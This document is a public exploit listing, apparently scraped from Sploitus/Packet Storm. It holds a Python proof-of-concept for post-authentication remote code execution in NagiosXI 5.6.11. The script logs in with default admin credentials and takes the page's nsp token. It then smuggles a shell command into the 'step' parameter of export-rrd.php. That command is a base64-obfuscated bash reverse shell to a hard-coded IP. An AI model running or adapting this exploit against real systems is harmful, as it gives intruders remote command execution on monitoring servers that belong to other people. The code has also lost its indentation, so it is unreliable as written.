Exploit for NagiosXI 5.6.11 start / end / step Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:157176
# Title: Postauth RCE in NagiosXI 5.6.11   
# Date: 19.03.2020  
# Vendor: www.nagios.com  
# Vulnerable software: https://www.nagios.com/downloads/nagios-xi/vmware/  
# Repo: https://github.com/c610/free/  
  
  
c@kali:~/src/eonila/nagiospox$ cat nagiospox.py  
#!/usr/bin/env python  
# nagiospox.py - small poc for nagiosxi rce  
# 19.03.2020 by code610  
#  
# more : https://twitter.com/CodySixteen  
# https://code610.blogspot.com  
#  
import sys, re  
import requests  
  
target = sys.argv[1]  
our_user = 'nagiosadmin'  
our_pass = 'nagiosadmin'  
  
def main():  
print 'nagios rce poc - vs - %s' % ( target )  
  
sess = requests.session()  
  
baseUrl = target + ':80/nagiosxi/'  
checkBaseUrl = sess.get(baseUrl)  
checkBaseResp = checkBaseUrl.text  
  
#print checkBaseResp  
nsp_patt = "var nsp_str = \"(.*?)\""  
  
find_nsp = re.compile(nsp_patt)  
found_nsp = re.search(find_nsp, checkBaseResp)  
if found_nsp:  
nsp_val = found_nsp.group(1)  
print 'nsp value found: %s' % ( nsp_val )  
  
# we will use nsp value in next login request  
loginurl = baseUrl + '/login.php' # ?redirect=/nagiosxi/index.php%3f&noauth=1'  
data_login = {  
'nsp': nsp_val,  
'page': 'auth',  
'debug':'',  
'pageopt':'login',  
'redirect':'http://192.168.1.10/nagiosxi/index.php', # %2Fnagiosxi%2Findex.php%3F',  
'username':our_user,  
'password':our_pass,  
'loginButton':''  
}  
req = sess.post(loginurl, data=data_login, verify=False, allow_redirects=True)  
resp_code = req.status_code  
resp = req.text  
  
#print resp_code  
#print resp  
if resp_code == 200:  
print '3rd request now!'  
sh = "a|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcwLzQ0MyAwPiYx\"|base64+-d+-|sh+-i);#"  
shellcode_req = baseUrl + '/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step=' + sh + '&type=a&nsp=' + nsp_val  
dosh = sess.get(shellcode_req, verify=False, allow_redirects=True)  
donesh = dosh.text  
  
print donesh  
  
  
# run me:  
if __name__ == '__main__':  
main()  
c@kali:~/src/eonila/nagiospox$